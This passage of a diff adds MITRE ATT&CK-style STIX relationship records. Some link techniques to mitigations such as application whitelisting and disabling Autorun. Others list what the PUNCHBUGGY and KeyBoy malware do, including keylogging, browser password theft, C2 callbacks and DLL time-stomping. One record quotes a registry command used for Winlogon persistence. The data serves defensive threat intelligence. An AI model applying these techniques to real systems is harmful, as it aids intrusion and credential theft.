"source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", + "modified": "2019-07-16T20:37:57.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "description": "Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:55:24.662Z", + "id": "relationship--dc317420-200a-40e1-97f0-4d76f5f3412f", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-06-13T18:55:24.662Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:55:24.675Z", + "id": "relationship--add62ca8-e30a-4f6c-8186-770956f85305", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-06-13T18:55:24.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:58:06.815Z", + "id": "relationship--a1505946-76d9-4acb-8b1a-02c926915702", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-16T20:51:40.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "description": "Disable Autoruns if it is unnecessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T18:59:41.067Z", + "id": "relationship--8506f2ac-e856-4d13-ac7e-fc88c4ec3c15", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-07-16T20:53:20.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft Disable Autorun", + "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.", + "url": "https://support.microsoft.com/en-us/kb/967715" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has Gzipped information and saved it to a random temp file before exfil.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.261Z", + "id": "relationship--73faed96-608b-4740-894f-0e2eaee92343", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather domain and workgroup information.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.287Z", + "id": "relationship--3e0c5e91-eaf7-4a70-a903-81a6d7622a69", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.613Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather AVs registered in the system.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.290Z", + "id": "relationship--3c0cb507-2bf0-46ab-b5c2-ba2865397722", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.653Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather system information such as computer names.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.298Z", + "id": "relationship--ec85433f-2635-4e7c-af49-6dbfb269dbbd", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather user names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.305Z", + "id": "relationship--2b2026c2-eb71-4c78-825d-5c4d0a747741", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1086), python, and shellcode scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.346Z", + "id": "relationship--8dbcee86-c9db-4ae3-ba16-29056a8a1593", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.700Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1086) to decode base64-encoded assembly.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.349Z", + "id": "relationship--bdd9a384-2d57-4238-bddd-5500e667d620", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.706Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has hashed most its code's functions and encrypted payloads with base64 and XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-13T19:12:07.352Z", + "id": "relationship--e2e74982-a4a6-428f-888a-a910453b7e82", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) exploits the vulnerability CVE-2012-0158 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.879Z", + "id": "relationship--8fd44a0a-7c50-41aa-ba8e-a308b25ce04a", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.664Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) installs a keylogger for intercepting credentials and keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.895Z", + "id": "relationship--65f57f42-9784-4ca2-8192-bfa90ffc075f", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.680Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) attempts to collect passwords from browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.908Z", + "id": "relationship--e49cb6bd-78c8-4826-a292-a7c5d3096d2b", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.707Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) can determine the public or WAN IP address for the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.927Z", + "id": "relationship--0aafbc63-2021-4c99-b273-1241943fd959", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.722Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) can gather extended system information, such as information about the operating system, disks, and memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.929Z", + "id": "relationship--0bc7c262-604c-42af-8829-ce9f579436d4", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) calls back to the C2 server over ports 53, 80, and 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.951Z", + "id": "relationship--ee31a5d2-c905-4019-b361-3c208304661a", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.769Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) issues the command reg add \u201cHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\u201d to achieve persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.956Z", + "id": "relationship--e7cf6c6b-d777-4c61-b760-e8c6a5c48488", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.766Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) has a command to perform screen grabbing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.959Z", + "id": "relationship--bd2f299e-e471-4f32-96b6-8dc32e872c74", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses PowerShell commands to download and execute payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.979Z", + "id": "relationship--b8f7512e-b0fe-4d27-ba63-bb99443d1b8c", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.801Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) installs a service pointing to a malicious DLL dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.991Z", + "id": "relationship--2b26c652-7f0e-41f1-810a-7e6c24f2bfdb", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.827Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) time-stomped its DLL in order to evade detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:33.999Z", + "id": "relationship--8343b346-e529-4f28-a569-ae5f9a862ddf", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) has a command to launch a file browser or explorer on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:34.001Z", + "id": "relationship--96ea567d-7113-4c2e-82c4-2ae6c6916ae9", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.848Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses the Dynamic Data Exchange (DDE) protocol to download remote payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:45:34.002Z", + "id": "relationship--b71738d0-d96e-4508-9820-ece76386903c", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) can launch interactive shells for communicating with the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:51:02.166Z", + "id": "relationship--e4768282-a422-45b3-9e60-43394063a468", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.880Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses custom SSL libraries for C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:51:02.178Z", + "id": "relationship--63920a70-160d-46b3-a55f-05e8d7d30ba1", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) has a download and upload functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:51:02.187Z", + "id": "relationship--8833fac6-778f-4cf8-8b2a-6dee29164ffa", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC KeyBoys Feb 2017", + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + }, + { + "source_name": "Rapid7 KeyBoy Jun 2013", + "description": "Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.", + "url": "https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses Python and VBS scripts for installing files and performing execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T16:51:02.198Z", + "id": "relationship--9b5e2072-35e7-4c62-baea-0e9d31df91f2", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-06-30T22:48:21.904Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CitizenLab KeyBoy Nov 2016", + "description": "Hulcoop, A., et al. (2016, November 17). It\u2019s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.", + "url": "https://citizenlab.ca/2016/11/parliament-keyboy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-14T17:07:30.311Z", + "id": "relationship--42968b37-a9f4-4bd8-b2af-36a04bd2803d", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-07-16T20:59:56.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": 